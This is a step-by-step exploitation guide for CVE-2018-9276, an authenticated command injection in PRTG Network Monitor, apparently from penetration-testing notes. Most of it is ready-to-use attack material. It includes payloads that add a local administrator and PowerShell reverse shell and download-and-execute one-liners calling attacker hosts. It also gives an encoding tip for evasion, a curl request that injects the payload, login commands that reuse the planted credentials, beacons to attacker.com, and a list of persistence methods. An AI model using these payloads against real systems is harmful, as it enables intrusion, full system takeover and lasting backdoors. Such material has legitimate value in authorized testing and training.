PRTG Exploitation

CVE-2018-9276: Authenticated Command Injection

Vulnerability Overview

• CVE ID: CVE-2018-9276
• Type: Authenticated Command Injection
• Affected Versions: PRTG Network Monitor before version 18.2.39
• Severity: Critical (requires authentication but leads to RCE)
• Root Cause: User-supplied input in notification parameters passed unsanitized to PowerShell

Discovery Details

This vulnerability was discovered through the notification system. When creating notifications with the “Execute Program” option, the Parameter field is directly injected into a PowerShell script without input sanitization.

Requirements

• Valid credentials to PRTG (authenticated access)
• Ability to create or modify notifications
• Target running vulnerable version (< 18.2.39)

Step-by-Step Exploitation

Step 1: Login to PRTG

Navigate to the PRTG interface and authenticate with valid credentials:

http://<target>:8080/index.htm

Step 2: Navigate to Notifications

From the dashboard:

1. Hover over Setup (top right)
2. Click Account Settings
3. Click the Notifications tab

Or directly navigate to: http://<target>:8080/myaccount.htm?tabid=2

Step 3: Create New Notification

Click Add new notification or navigate to: http://<target>:8080/editnotification.htm?id=new&tabid=1

Step 4: Configure Notification

Fill in the notification form:

Step 5: Configure Command Execution

Under the Execute Program section:

1. Program File: Select Demo exe notification - outfile.ps1 from dropdown
2. Parameter Field: Enter your payload (this is where injection occurs)

Step 6: Craft Payload

PowerShell commands can be chained using semicolons. Examples:

Add Local Admin User

test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

Reverse Shell (Nishang PowerShell Reverse Shell)

test.txt;IEX(New-Object Net.WebClient).DownloadString('http://<your_ip>:8000/shell.ps1')

Download and Execute

test.txt;powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://<attacker_server>/script.ps1')"

Encode Payload

For evasion, use base64 encoding:

test.txt;powershell -EncodedCommand <base64_encoded_payload>

Create Reverse Shell (One-liner)

test.txt;powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10:8000/shell.ps1')"

Step 7: Save the Notification

Click Save button. You’ll be redirected to the Notifications page and see your new notification listed.

Step 8: Trigger Execution

Click the Test button next to your notification. A popup will appear:

EXE notification is queued up

This queues the command for execution. The payload will execute with SYSTEM privileges on the target host.

Step 9: Verify Execution

Since command execution is blind (no output), verify through alternative means:

Verify Local Admin Creation

crackmapexec smb <target> -u prtgadm1 -p "Pwn3d_by_PRTG!"

RDP Access

xfreerdp /u:prtgadm1 /p:"Pwn3d_by_PRTG!" /v:<target>

WinRM Access

evil-winrm -i <target> -u prtgadm1 -p "Pwn3d_by_PRTG!"

SMB Access (impacket)

python3 smbexec.py prtgadm1:"Pwn3d_by_PRTG!"@<target>
python3 wmiexec.py prtgadm1:"Pwn3d_by_PRTG!"@<target>
python3 psexec.py prtgadm1:"Pwn3d_by_PRTG!"@<target>

Alternative Exploitation Methods

Via HTTP Parameter Manipulation

If web interface access is restricted, the notification can be created via direct HTTP POST:

curl -X POST http://<target>:8080/editnotification.htm \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "id=new&name=pwn&active=true&program=Demo%20exe%20notification%20-%20outfile.ps1&params=test.txt%3Bnet%20user%20prtgadm1%20Pwn3d_by_PRTG%21%20%2Fadd" \
  --cookie "SESSIONID=<valid_session_cookie>"

Direct Script Execution

If you can identify the PowerShell script location, potentially execute scripts directly:

• Typical path: C:\Program Files (x86)\PRTG Network Monitor\Notifications\Demo exe notification - outfile.ps1

Blind Execution Techniques

Since command output isn’t returned, use these techniques to verify execution:

DNS Exfiltration

test.txt;nslookup success.attacker.com

HTTP Beacon

test.txt;powershell -Command "Invoke-WebRequest http://attacker.com/success"

ICMP Echo

test.txt;ping attacker.com

Log File Creation

test.txt;powershell -Command "echo 'pwned' > C:\temp\pwned.txt"

Post-Exploitation with Command Injection

After successful injection, establish persistence through:

1. Scheduled Task - Create recurring task for reverse shell
2. Registry Modification - Add Run keys for persistence
3. New Local Admin - Maintain access independently
4. Backdoor Installation - Deploy malware or C2 agent

See post-exploitation.md for detailed persistence techniques.